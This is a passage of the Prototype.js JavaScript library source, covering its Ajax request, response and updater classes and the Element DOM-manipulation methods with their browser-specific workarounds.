headers['Content-type'] = this.options.contentType +
(this.options.encoding ? '; charset=' + this.options.encoding : '');
/* Force "Connection: close" for older Mozilla browsers to work
* around a bug where XMLHttpRequest sends an incorrect
* Content-length header. See Mozilla Bugzilla #246651.
*/
if (this.transport.overrideMimeType &&
(navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
headers['Connection'] = 'close';
}
if (typeof this.options.requestHeaders == 'object') {
var extras = this.options.requestHeaders;
if (Object.isFunction(extras.push))
for (var i = 0, length = extras.length; i < length; i += 2)
headers[extras[i]] = extras[i+1];
else
$H(extras).each(function(pair) { headers[pair.key] = pair.value });
}
for (var name in headers)
this.transport.setRequestHeader(name, headers[name]);
},
success: function() {
var status = this.getStatus();
return !status || (status >= 200 && status < 300) || status == 304;
},
getStatus: function() {
try {
if (this.transport.status === 1223) return 204;
return this.transport.status || 0;
} catch (e) { return 0 }
},
respondToReadyState: function(readyState) {
var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
if (state == 'Complete') {
try {
this._complete = true;
(this.options['on' + response.status]
|| this.options['on' + (this.success() ? 'Success' : 'Failure')]
|| Prototype.emptyFunction)(response, response.headerJSON);
} catch (e) {
this.dispatchException(e);
}
var contentType = response.getHeader('Content-type');
if (this.options.evalJS == 'force'
|| (this.options.evalJS && this.isSameOrigin() && contentType
&& contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
this.evalResponse();
}
try {
(this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
} catch (e) {
this.dispatchException(e);
}
if (state == 'Complete') {
this.transport.onreadystatechange = Prototype.emptyFunction;
}
},
isSameOrigin: function() {
var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
protocol: location.protocol,
domain: document.domain,
port: location.port ? ':' + location.port : ''
}));
},
getHeader: function(name) {
try {
return this.transport.getResponseHeader(name) || null;
} catch (e) { return null; }
},
evalResponse: function() {
try {
return eval((this.transport.responseText || '').unfilterJSON());
} catch (e) {
this.dispatchException(e);
}
},
dispatchException: function(exception) {
(this.options.onException || Prototype.emptyFunction)(this, exception);
Ajax.Responders.dispatch('onException', this, exception);
}
});
Ajax.Request.Events =
['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
Ajax.Response = Class.create({
initialize: function(request){
this.request = request;
var transport = this.transport = request.transport,
readyState = this.readyState = transport.readyState;
if ((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
this.status = this.getStatus();
this.statusText = this.getStatusText();
this.responseText = String.interpret(transport.responseText);
this.headerJSON = this._getHeaderJSON();
}
if (readyState == 4) {
var xml = transport.responseXML;
this.responseXML = Object.isUndefined(xml) ? null : xml;
this.responseJSON = this._getResponseJSON();
}
},
status: 0,
statusText: '',
getStatus: Ajax.Request.prototype.getStatus,
getStatusText: function() {
try {
return this.transport.statusText || '';
} catch (e) { return '' }
},
getHeader: Ajax.Request.prototype.getHeader,
getAllHeaders: function() {
try {
return this.getAllResponseHeaders();
} catch (e) { return null }
},
getResponseHeader: function(name) {
return this.transport.getResponseHeader(name);
},
getAllResponseHeaders: function() {
return this.transport.getAllResponseHeaders();
},
_getHeaderJSON: function() {
var json = this.getHeader('X-JSON');
if (!json) return null;
json = decodeURIComponent(escape(json));
try {
return json.evalJSON(this.request.options.sanitizeJSON ||
!this.request.isSameOrigin());
} catch (e) {
this.request.dispatchException(e);
}
},
_getResponseJSON: function() {
var options = this.request.options;
if (!options.evalJSON || (options.evalJSON != 'force' &&
!(this.getHeader('Content-type') || '').include('application/json')) ||
this.responseText.blank())
return null;
try {
return this.responseText.evalJSON(options.sanitizeJSON ||
!this.request.isSameOrigin());
} catch (e) {
this.request.dispatchException(e);
}
}
});
Ajax.Updater = Class.create(Ajax.Request, {
initialize: function($super, container, url, options) {
this.container = {
success: (container.success || container),
failure: (container.failure || (container.success ? null : container))
};
options = Object.clone(options);
var onComplete = options.onComplete;
options.onComplete = (function(response, json) {
this.updateContent(response.responseText);
if (Object.isFunction(onComplete)) onComplete(response, json);
}).bind(this);
$super(url, options);
},
updateContent: function(responseText) {
var receiver = this.container[this.success() ? 'success' : 'failure'],
options = this.options;
if (!options.evalScripts) responseText = responseText.stripScripts();
if (receiver = $(receiver)) {
if (options.insertion) {
if (Object.isString(options.insertion)) {
var insertion = { }; insertion[options.insertion] = responseText;
receiver.insert(insertion);
}
else options.insertion(receiver, responseText);
}
else receiver.update(responseText);
}
}
});
Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
initialize: function($super, container, url, options) {
$super(options);
this.onComplete = this.options.onComplete;
this.frequency = (this.options.frequency || 2);
this.decay = (this.options.decay || 1);
this.updater = { };
this.container = container;
this.url = url;
this.start();
},
start: function() {
this.options.onComplete = this.updateComplete.bind(this);
this.onTimerEvent();
},
stop: function() {
this.updater.options.onComplete = undefined;
clearTimeout(this.timer);
(this.onComplete || Prototype.emptyFunction).apply(this, arguments);
},
updateComplete: function(response) {
if (this.options.decay) {
this.decay = (response.responseText == this.lastText ?
this.decay * this.options.decay : 1);
this.lastText = response.responseText;
}
this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
},
onTimerEvent: function() {
this.updater = new Ajax.Updater(this.container, this.url, this.options);
}
});
function $(element) {
if (arguments.length > 1) {
for (var i = 0, elements = [], length = arguments.length; i < length; i++)
elements.push($(arguments[i]));
return elements;
}
if (Object.isString(element))
element = document.getElementById(element);
return Element.extend(element);
}
if (Prototype.BrowserFeatures.XPath) {
document._getElementsByXPath = function(expression, parentElement) {
var results = [];
var query = document.evaluate(expression, $(parentElement) || document,
null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
for (var i = 0, length = query.snapshotLength; i < length; i++)
results.push(Element.extend(query.snapshotItem(i)));
return results;
};
}
/*--------------------------------------------------------------------------*/
if (!Node) var Node = { };
if (!Node.ELEMENT_NODE) {
Object.extend(Node, {
ELEMENT_NODE: 1,
ATTRIBUTE_NODE: 2,
TEXT_NODE: 3,
CDATA_SECTION_NODE: 4,
ENTITY_REFERENCE_NODE: 5,
ENTITY_NODE: 6,
PROCESSING_INSTRUCTION_NODE: 7,
COMMENT_NODE: 8,
DOCUMENT_NODE: 9,
DOCUMENT_TYPE_NODE: 10,
DOCUMENT_FRAGMENT_NODE: 11,
NOTATION_NODE: 12
});
}
(function(global) {
function shouldUseCache(tagName, attributes) {
if (tagName === 'select') return false;
if ('type' in attributes) return false;
return true;
}
var HAS_EXTENDED_CREATE_ELEMENT_SYNTAX = (function(){
try {
var el = document.createElement('<input name="x">');
return el.tagName.toLowerCase() === 'input' && el.name === 'x';
}
catch(err) {
return false;
}
})();
var element = global.Element;
global.Element = function(tagName, attributes) {
attributes = attributes || { };
tagName = tagName.toLowerCase();
var cache = Element.cache;
if (HAS_EXTENDED_CREATE_ELEMENT_SYNTAX && attributes.name) {
tagName = '<' + tagName + ' name="' + attributes.name + '">';
delete attributes.name;
return Element.writeAttribute(document.createElement(tagName), attributes);
}
if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
var node = shouldUseCache(tagName, attributes) ?
cache[tagName].cloneNode(false) : document.createElement(tagName);
return Element.writeAttribute(node, attributes);
};
Object.extend(global.Element, element || { });
if (element) global.Element.prototype = element.prototype;
})(this);
Element.idCounter = 1;
Element.cache = { };
Element._purgeElement = function(element) {
var uid = element._prototypeUID;
if (uid) {
Element.stopObserving(element);
element._prototypeUID = void 0;
delete Element.Storage[uid];
}
}
Element.Methods = {
visible: function(element) {
return $(element).style.display != 'none';
},
toggle: function(element) {
element = $(element);
Element[Element.visible(element) ? 'hide' : 'show'](element);
return element;
},
hide: function(element) {
element = $(element);
element.style.display = 'none';
return element;
},
show: function(element) {
element = $(element);
element.style.display = '';
return element;
},
remove: function(element) {
element = $(element);
element.parentNode.removeChild(element);
return element;
},
update: (function(){
var SELECT_ELEMENT_INNERHTML_BUGGY = (function(){
var el = document.createElement("select"),
isBuggy = true;
el.innerHTML = "<option value=\"test\">test</option>";
if (el.options && el.options[0]) {
isBuggy = el.options[0].nodeName.toUpperCase() !== "OPTION";
}
el = null;
return isBuggy;
})();
var TABLE_ELEMENT_INNERHTML_BUGGY = (function(){
try {
var el = document.createElement("table");
if (el && el.tBodies) {
el.innerHTML = "<tbody><tr><td>test</td></tr></tbody>";
var isBuggy = typeof el.tBodies[0] == "undefined";
el = null;
return isBuggy;
}
} catch (e) {
return true;
}
})();
var LINK_ELEMENT_INNERHTML_BUGGY = (function() {
try {
var el = document.createElement('div');
el.innerHTML = "<link>";
var isBuggy = (el.childNodes.length === 0);
el = null;
return isBuggy;
} catch(e) {
return true;
}
})();
var ANY_INNERHTML_BUGGY = SELECT_ELEMENT_INNERHTML_BUGGY ||
TABLE_ELEMENT_INNERHTML_BUGGY || LINK_ELEMENT_INNERHTML_BUGGY;
var SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING = (function () {
var s = document.createElement("script"),
isBuggy = false;
try {
s.appendChild(document.createTextNode(""));
isBuggy = !s.firstChild ||
s.firstChild && s.firstChild.nodeType !== 3;
} catch (e) {
isBuggy = true;
}
s = null;
return isBuggy;
})();
function update(element, content) {
element = $(element);
var purgeElement = Element._purgeElement;
var descendants = element.getElementsByTagName('*'),
i = descendants.length;
while (i--) purgeElement(descendants[i]);
if (content && content.toElement)
content = content.toElement();
if (Object.isElement(content))
return element.update().insert(content);
content = Object.toHTML(content);
var tagName = element.tagName.toUpperCase();
if (tagName === 'SCRIPT' && SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING) {
element.text = content;
return element;
}
if (ANY_INNERHTML_BUGGY) {
if (tagName in Element._insertionTranslations.tags) {
while (element.firstChild) {
element.removeChild(element.firstChild);
}
Element._getContentFromAnonymousElement(tagName, content.stripScripts())
.each(function(node) {
element.appendChild(node)
});
} else if (LINK_ELEMENT_INNERHTML_BUGGY && Object.isString(content) && content.indexOf('<link') > -1) {
while (element.firstChild) {
element.removeChild(element.firstChild);
}
var nodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts(), true);
nodes.each(function(node) { element.appendChild(node) });
}
else {
element.innerHTML = content.stripScripts();
}
}
else {
element.innerHTML = content.stripScripts();
}
content.evalScripts.bind(content).defer();
return element;
}
return update;
})(),
replace: function(element, content) {
element = $(element);
if (content && content.toElement) content = content.toElement();
else if (!Object.isElement(content)) {
content = Object.toHTML(content);
var range = element.ownerDocument.createRange();
range.selectNode(element);
content.evalScripts.bind(content).defer();
content = range.createContextualFragment(content.stripScripts());
}
element.parentNode.replaceChild(content, element);
return element;
},
insert: function(element, insertions) {
element = $(element);
if (Object.isString(insertions) || Object.isNumber(insertions) ||
Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
insertions = {bottom:insertions};
var content, insert, tagName, childNodes;
for (var position in insertions) {
content = insertions[position];
position = position.toLowerCase();
insert = Element._insertionTranslations[position];
if (content && content.toElement) content = content.toElement();
if (Object.isElement(content)) {
insert(element, content);
continue;
}
content = Object.toHTML(content);
tagName = ((position == 'before' || position == 'after')
? element.parentNode : element).tagName.toUpperCase();
childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
if (position == 'top' || position == 'after') childNodes.reverse();
childNodes.each(insert.curry(element));
content.evalScripts.bind(content).defer();
}
return element;
},
wrap: function(element, wrapper, attributes) {
element = $(element);
if (Object.isElement(wrapper))
$(wrapper).writeAttribute(attributes || { });
else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
else wrapper = new Element('div', wrapper);
if (element.parentNode)
element.parentNode.replaceChild(wrapper, element);
wrapper.appendChild(element);
return wrapper;
},
inspect: function(element) {
element = $(element);
var result = '<' + element.tagName.toLowerCase();
$H({'id': 'id', 'className': 'class'}).each(function(pair) {
var property = pair.first(),
attribute = pair.last(),
value = (element[property] || '').toString();
if (value) result += ' ' + attribute + '=' + value.inspect(true);
});
return result + '>';
},
recursivelyCollect: function(element, property, maximumLength) {
element = $(element);
maximumLength = maximumLength || -1;
var elements = [];
while (element = element[property]) {
if (element.nodeType == 1)
elements.push(Element.extend(element));
if (elements.length == maximumLength)
break;
}
return elements;
},
ancestors: function(element) {
return Element.recursivelyCollect(element, 'parentNode');
},
descendants: function(element) {
return Element.select(element, "*");
},
firstDescendant: function(element) {
element = $(element).firstChild;
while (element && element.nodeType != 1) element = element.nextSibling;
return $(element);
},
immediateDescendants: function(element) {
var results = [], child = $(element).firstChild;
while (child) {
if (child.nodeType === 1) {
results.push(Element.extend(child));
}
child = child.nextSibling;
}
return results;
},
previousSiblings: function(element, maximumLength) {
return Element.recursivelyCollect(element, 'previousSibling');
},
nextSiblings: function(element) {
return Element.recursivelyCollect(element, 'nextSibling');
},
siblings: function(element) {
element = $(element);
return Element.previousSiblings(element).reverse()
.concat(Element.nextSiblings(element));
},
match: function(element, selector) {
element = $(element);
if (Object.isString(selector))
return Prototype.Selector.match(element, selector);
return selector.match(element);
},
up: function(element, expression, index) {
element = $(element);
if (arguments.length == 1) return $(element.parentNode);
var ancestors = Element.ancestors(element);
return Object.isNumber(expression) ? ancestors[expression] :
Prototype.Selector.find(ancestors, expression, index);
},
down: function(element, expression, index) {
element = $(element);
if (arguments.length == 1) return Element.firstDescendant(element);
return Object.isNumber(expression) ? Element.descendants(element)[expression] :
Element.select(element, expression)[index || 0];
},
previous: function(element, expression, index) {
element = $(element);
if (Object.isNumber(expression)) index = expression, expression = false;
if (!Object.isNumber(index)) index = 0;
if (expression) {
return Prototype.Selector.find(element.previousSiblings(), expression, index);
} else {
return element.recursivelyCollect("previousSibling", index + 1)[index];
}
},
next: function(element, expression, index) {
element = $(element);
if (Object.isNumber(expression)) index = expression, expression = false;
if (!Object.isNumber(index)) index = 0;
if (expression) {
return Prototype.Selector.find(element.nextSiblings(), expression, index);
} else {
var maximumLength = Object.isNumber(index) ? index + 1 : 1;
return element.recursivelyCollect("nextSibling", index + 1)[index];
}
},
select: function(element) {
element = $(element);
var expressions = Array.prototype.slice.call(arguments, 1).join(', ');
return Prototype.Selector.select(expressions, element);
},
adjacent: function(element) {
element = $(element);
var expressions = Array.prototype.slice.call(arguments, 1).join(', ');
return Prototype.Selector.select(expressions, element.parentNode).without(element);
},
identify: function(element) {
element = $(element);
var id = Element.readAttribute(element, 'id');
if (id) return id;
do { id = 'anonymous_element_' + Element.idCounter++ } while ($(id));
Element.writeAttribute(element, 'id', id);
return id;
},
readAttribute: function(element, name) {
element = $(element);
if (Prototype.Browser.IE) {
var t = Element._attributeTranslations.read;
if (t.values[name]) return t.values[name](element, name);
if (t.names[name]) name = t.names[name];
if (name.include(':')) {
return (!element.attributes || !element.attributes[name]) ? null :
element.attributes[name].value;
}
}
return element.getAttribute(name);
},
writeAttribute: function(element, name, value) {
element = $(element);
var attributes = { }, t = Element._attributeTranslations.write;
if (typeof name == 'object') attributes = name;
else attributes[name] = Object.isUndefined(value) ? true : value;
for (var attr in attributes) {
name = t.names[attr] || attr;
value = attributes[attr];
if (t.values[attr]) name = t.values[attr](element, value);
if (value === false || value === null)
element.removeAttribute(name);
else if (value === true)
element.setAttribute(name, name);
else element.setAttribute(name, value);
}
return element;
},
getHeight: function(element) {
return Element.getDimensions(element).height;
},
getWidth: function(element) {
return Element.getDimensions(element).width;
},
classNames: function(element) {
return new Element.ClassNames(element);
},
hasClassName: function(element, className) {
if (!(element = $(element))) return;
var elementClassName = element.className;
return (elementClassName.length > 0 && (elementClassName == className ||
new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
},
addClassName: function(element, className) {
if (!(element = $(element))) return;
if (!Element.hasClassName(element, className))
element.className += (element.className ? ' ' : '') + className;
return element;
},
removeClassName: function(element, className) {
if (!(element = $(element))) return;
element.className = element.className.replace(
new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
return element;
},
toggleClassName: function(element, className) {
if (!(element = $(element))) return;
return Element[Element.hasClassName(element, className) ?
'removeClassName' : 'addClassName'](element, className);
},
cleanWhitespace: function(element) {
element = $(element);
var node = element.firstChild;
while (node) {
var nextNode = node.nextSibling;
if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
element.removeChild(node);
node = nextNode;
}
return element;
},
empty: function(element) {
return $(element).innerHTML.blank();
},
descendantOf: function(element, ancestor) {
element = $(element), ancestor = $(ancestor);
if (element.compareDocumentPosition)
return (element.compareDocumentPosition(ancestor) & 8) === 8;
if (ancestor.contains)
return ancestor.contains(element) && ancestor !== element;
while (element = element.parentNode)
if (element == ancestor) return true;
return false;
},
scrollTo: function(element) {
element = $(element);
var pos = Element.cumulativeOffset(element);
window.scrollTo(pos[0], pos[1]);
return element;
},
getStyle: function(element, style) {
element = $(element);
style = style == 'float' ? 'cssFloat' : style.camelize();
var value = element.style[style];
if (!value || value == 'auto') {
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css[style] : null;
}
if (style == 'opacity') return value ? parseFloat(value) : 1.0;
return value == 'auto' ? null : value;
},
getOpacity: function(element) {
return $(element).getStyle('opacity');
},
setStyle: function(element, styles) {
element = $(element);
var elementStyle = element.style, match;
if (Object.isString(styles)) {
element.style.cssText += ';' + styles;
return styles.include('opacity') ?
element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
}
for (var property in styles)
if (property == 'opacity') element.setOpacity(styles[property]);
else
elementStyle[(property == 'float' || property == 'cssFloat') ?
(Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
property] = styles[property];
return element;
},
setOpacity: function(element, value) {
element = $(element);
element.style.opacity = (value == 1 || value === '') ? '' :
(value < 0.00001) ? 0 : value;
return element;
},
makePositioned: function(element) {
element = $(element);
var pos = Element.getStyle(element, 'position');
if (pos == 'static' || !pos) {
element._madePositioned = true;
element.style.position = 'relative';
if (Prototype.Browser.Opera) {
element.style.top = 0;
element.style.left = 0;
}
}
return element;
},
undoPositioned: function(element) {
element = $(element);
if (element._madePositioned) {
element._madePositioned = undefined;
element.style.position =
element.style.top =
element.style.left =
element.style.bottom =
element.style.right = '';
}
return element;
},
makeClipping: function(element) {
element = $(element);
if (element._overflow) return element;
element._overflow = Element.getStyle(element, 'overflow') || 'auto';
if (element._overflow !== 'hidden')
element.style.overflow = 'hidden';
return element;
},
undoClipping: function(element) {
element = $(element);
if (!element._overflow) return element;
element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
element._overflow = null;
return element;
},
clonePosition: function(element, source) {
var options = Object.extend({
setLeft: true,
setTop: true,
setWidth: true,
setHeight: true,
offsetTop: 0,
offsetLeft: 0
}, arguments[2] || { });
source = $(source);
var p = Element.viewportOffset(source), delta = [0, 0], parent = null;
element = $(element);
if (Element.getStyle(element, 'position') == 'absolute') {
parent = Element.getOffsetParent(element);
delta = Element.viewportOffset(parent);
}
if (parent == document.body) {
delta[0] -= document.body.offsetLeft;
delta[1] -= document.body.offsetTop;
}
if (options.setLeft) element.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px';
if (options.setTop) element.style.top = (p[1] - delta[1] + options.offsetTop) + 'px';
if (options.setWidth) element.style.width = source.offsetWidth + 'px';
if (options.setHeight) element.style.height = source.offsetHeight + 'px';
return element;
}
};
Object.extend(Element.Methods, {
getElementsBySelector: Element.Methods.select,
childElements: Element.Methods.immediateDescendants
});
Element._attributeTranslations = {
write: {
names: {
className: 'class',
htmlFor: 'for'
},
values: { }
}
};
if (Prototype.Browser.Opera) {
Element.Methods.getStyle = Element.Methods.getStyle.wrap(
function(proceed, element, style) {
switch (style) {
case 'height': case 'width':
if (!Element.visible(element)) return null;
var dim = parseInt(proceed(element, style), 10);
if (dim !== element['offset' + style.capitalize()])
return dim + 'px';
var properties;
if (style === 'height') {
properties = ['border-top-width', 'padding-top',
'padding-bottom', 'border-bottom-width'];
}
else {
properties = ['border-left-width', 'padding-left',
'padding-right', 'border-right-width'];
}
return properties.inject(dim, function(memo, property) {
var val = proceed(element, property);
return val === null ? memo : memo - parseInt(val, 10);
}) + 'px';
default: return proceed(element, style);
}
}
);
Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
function(proceed, element, attribute) {
if (attribute === 'title') return element.title;
return proceed(element, attribute);
}
);
}
else if (Prototype.Browser.IE) {
Element.Methods.getStyle = function(element, style) {
element = $(element);
style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
var value = element.style[style];
if (!value && element.currentStyle) value = element.currentStyle[style];
if (style == 'opacity') {
if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
if (value[1]) return parseFloat(value[1]) / 100;
return 1.0;
}
if (value == 'auto') {
if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
return element['offset' + style.capitalize()] + 'px';
return null;
}
return value;
};
Element.Methods.setOpacity = function(element, value) {
function stripAlpha(filter){
return filter.replace(/alpha\([^\)]*\)/gi,'');
}
element = $(element);
var currentStyle = element.currentStyle;
if ((currentStyle && !currentStyle.hasLayout) ||
(!currentStyle && element.style.zoom == 'normal'))
element.style.zoom = 1;
var filter = element.getStyle('filter'), style = element.style;
if (value == 1 || value === '') {
(filter = stripAlpha(filter)) ?
style.filter = filter : style.removeAttribute('filter');
return element;
} else if (value < 0.00001) value = 0;
style.filter = stripAlpha(filter) +
'alpha(opacity=' + (value * 100) + ')';
return element;
};
Element._attributeTranslations = (function(){
var classProp = 'className',
forProp = 'for',
el = document.createElement('div');
el.setAttribute(classProp, 'x');
if (el.className !== 'x') {
el.setAttribute('class', 'x');
if (el.className === 'x') {
classProp = 'class';
}
}
el = null;
el = document.createElement('label');
el.setAttribute(forProp, 'x');
if (el.htmlFor !== 'x') {
el.setAttribute('htmlFor', 'x');
if (el.htmlFor === 'x') {
forProp = 'htmlFor';
}
}
el = null;
return {
read: {
names: {
'class': classProp,
'className': classProp,
'for': forProp,
'htmlFor': forProp
},
values: {
_getAttr: function(element, attribute) {
return element.getAttribute(attribute);
},
_getAttr2: function(element, attribute) {
return element.getAttribute(attribute, 2);
},
_getAttrNode: function(element, attribute) {
var node = element.getAttributeNode(attribute);
return node ? node.value : "";
},
_getEv: (function(){
var el = document.createElement('div'), f;
el.onclick = Prototype.emptyFunction;
var value = el.getAttribute('onclick');
if (String(value).indexOf('{') > -1) {
f = function(element, attribute) {
attribute = element.getAttribute(attribute);
if (!attribute) return null;
attribute = attribute.toString();
attribute = attribute.split('{')[1];
attribute = attribute.split('}')[0];
return attribute.strip();
};
}
else if (value === '') {
f = function(element, attribute) {
attribute = element.getAttribute(attribute);
if (!attribute) return null;
return attribute.strip();
};
}
el = null;
return f;
})(),
_flag: function(element, attribute) {
return $(element).hasAttribute(attribute) ? attribute : null;
},
style: function(element) {
return element.style.cssText.toLowerCase();
},
title: function(element) {
return element.title;
}
}
}
}
})();
Element._attributeTranslations.write = {
names: Object.extend({
cellpadding: 'cellPadding',
cellspacing: 'cellSpacing'
}, Element._attributeTranslations.read.names),
values: {
checked: function(element, value) {
element.checked = !!value;
},
style: function(element, value) {
element.style.cssText = value ? value : '';
}
}
};
Element._attributeTranslations.has = {};
$w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
'encType maxLength readOnly longDesc frameBorder').each(function(attr) {
Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
Element._attributeTranslations.has[attr.toLowerCase()] = attr;
});
(function(v) {
Object.extend(v, {
href: v._getAttr2,
src: v._getAttr2,
type: v._getAttr,
action: v._getAttrNode,
disabled: v._flag,
checked: v._flag,
readonly: v._flag,
multiple: v._flag,
onload: v._getEv,
onunload: v._getEv,
onclick: v._getEv,
ondblclick: v._getEv,
onmousedown: v._getEv,
onmouseup: v._getEv,
onmouseover: v._getEv,
onmousemove: v._getEv,
onmouseout: v._getEv,
onfocus: v._getEv,
onblur: v._getEv,
onkeypress: v._getEv,
onkeydown: v._getEv,
onkeyup: v._getEv,
onsubmit: v._getEv,
onreset: v._getEv,
onselect: v._getEv,
onchange: v._getEv
});
})(Element._attributeTranslations.read.values);
if (Prototype.BrowserFeatures.ElementExtensions) {
(function() {
function _descendants(element) {
var nodes = element.getElementsByTagName('*'), results = [];
for (var i = 0, node; node = nodes[i]; i++)
if (node.tagName !== "!") // Filter out comment nodes.
results.push(node);
return results;
}
Element.Methods.down = function(element, expression, index) {
element = $(element);
if (arguments.length == 1) return element.firstDescendant();
return Object.isNumber(expression) ? _descendants(element)[expression] :
Element.select(element, expression)[index || 0];
}
})();
}
}
else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
Element.Methods.setOpacity = function(element, value) {
element = $(element);
element.style.opacity = (value == 1) ? 0.999999 :
(value === '') ? '' : (value < 0.00001) ? 0 : value;
return element;
};
}
else if (Prototype.Browser.WebKit) {
Element.Methods.setOpacity = function(element, value) {
element = $(element);
element.style.opacity = (value == 1 || value === '') ? '' :
(value < 0.00001) ? 0 : value;
if (value == 1)
if (element.tagName.toUpperCase() == 'IMG' && element.width) {
element.width++; element.width--;
} else try {
var n = document.createTextNode(' ');
element.appendChild(n);
element.removeChild(n);
} catch (e) { }
return element;
};
}
if ('outerHTML' in document.documentElement) {
Element.Methods.replace = function(element, content) {
element = $(element);
if (content && content.toElement) content = content.toElement();
if (Object.isElement(content)) {
element.parentNode.replaceChild(content, element);
return element;
}
content = Object.toHTML(content);
var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
if (Element._insertionTranslations.tags[tagName]) {
var nextSibling = element.next(),
fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
parent.removeChild(element);
if (nextSibling)
fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
else
fragments.each(function(node) { parent.appendChild(node) });
}
else element.outerHTML = content.stripScripts();
content.evalScripts.bind(content).defer();
return element;
};
}
Element._returnOffset = function(l, t) {
var result = [l, t];
result.left = l;
result.top = t;
return result;
};
Element._getContentFromAnonymousElement = function(tagName, html, force) {
var div = new Element('div'),
t = Element._insertionTranslations.tags[tagName];
var workaround = false;
if (t) workaround = true;
else if (force) {
workaround = true;
t = ['', '', 0];
}
if (workaround) {
div.innerHTML = ' ' + t[0] + html + t[1];
div.removeChild(div.firstChild);
for (var i = t[2]; i--; ) {
div = div.firstChild;
}
}
else {
div.innerHTML = html;
}
return $A(div.childNodes);
};
Element._insertionTranslations = {
before: function(element, node) {
element.parentNode.insertBefore(node, element);
},
top: function(element, node) {
element.insertBefore(node, element.firstChild);
},
bottom: function(element, node) {
element.appendChild(node);
},
after: function(element, node) {
element.parentNode.insertBefore(node, element.nextSibling);
},
tags: {
TABLE: ['<table>', '</table>', 1],
TBODY: ['<table><tbody>', '</tbody></table>', 2],
TR: ['<table><tbody><tr>', '</tr></tbody></table>', 3],
TD: ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
SELECT: ['<select>', '</select>', 1]
}
};
(function() {
var tags = Element._insertionTranslations.tags;
Object.extend(tags, {
THEAD: tags.TBODY,
TFOOT: tags.TBODY,
TH: tags.TD
});
})();
Element.Methods.Simulated = {
hasAttribute: function(element, attribute) {
attribute = Element._attributeTranslations.has[attribute] || attribute;
var node = $(element).getAttributeNode(attribute);
return !!(node && node.specified);
}
};
Element.Methods.ByTag = { };
Object.extend(Element, Element.Methods);
(function(div) {
if (!Prototype.BrowserFeatures.ElementExtensions && div['__proto__']) {
window.HTMLElement = { };
window.HTMLElement.prototype = div['__proto__'];
Prototype.BrowserFeatures.ElementExtensions = true;
}
div = null;
})(document.createElement('div'));
Element.extend = (function() {
function checkDeficiency(tagName) {
if (typeof window.Element != 'undefined') {
var proto = window.Element.prototype;
if (proto) {
var id = '_' + (Math.random()+'').slice(2),
el = document.createElement(tagName);
proto[id] = 'x';
var isBuggy = (el[id] !== 'x');
delete proto[id];
el = null;
return isBuggy;
}
}
return false;
}
function extendElementWith(element, methods) {
for (var property in methods) {
var value = methods[property];
if (Object.isFunction(value) && !(property in element))
element[property] = value.methodize();
}
}
var HTMLOBJECTELEMENT_PROTOTYPE_BUGGY = checkDeficiency('object');
if (Prototype.BrowserFeatures.SpecificElementExtensions) {
if (HTMLOBJECTELEMENT_PROTOTYPE_BUGGY) {
return function(element) {
if (element && typeof element._extendedByPrototype == 'undefined') {
var t = element.tagName;
if (t && (/^(?:object|applet|embed)$/i.test(t))) {
extendElementWith(element, Element.Methods);
extendElementWith(element, Element.Methods.Simulated);
extendElementWith(element, Element.Methods.ByTag[t.toUpperCase()]);
}
}
return element;
}
}
return Prototype.K;
}
var Methods = { }, ByTag = Element.Methods.ByTag;
var extend = Object.extend(function(element) {
if (!element || typeof element._extendedByPrototype != 'undefined' ||
element.nodeType != 1 || element == window) return element;
var methods = Object.clone(Methods),
tagName = element.tagName.toUpperCase();
if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
extendElementWith(element, methods);
element._extendedByPrototype = Prototype.emptyFunction;
return element;
}, {
refresh: function() {
if (!Prototype.BrowserFeatures.ElementExtensions) {
Object.extend(Methods, Element.Methods);
Object.extend(Methods, Element.Methods.Simulated);
}
}
});
extend.refresh();
return extend;
})();
if (document.documentElement.hasAttribute) {
Element.hasAttribute = function(element, attribute) {
return element.hasAttribute(attribute);
};
}
else {
Element.hasAttribute = Element.Methods.Simulated.hasAttribute;
}
Element.addMethods = function(methods) {
var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
if (!methods) {
Object.extend(Form, Form.Methods);
Object.extend(Form.Element, Form.Element.Methods);
Object.extend(Element.Methods.ByTag, {
"FORM": Object.clone(Form.Methods),
"INPUT": Object.clone(Form.Element.Methods),
"SELECT": Object.clone(Form.Element.Methods),
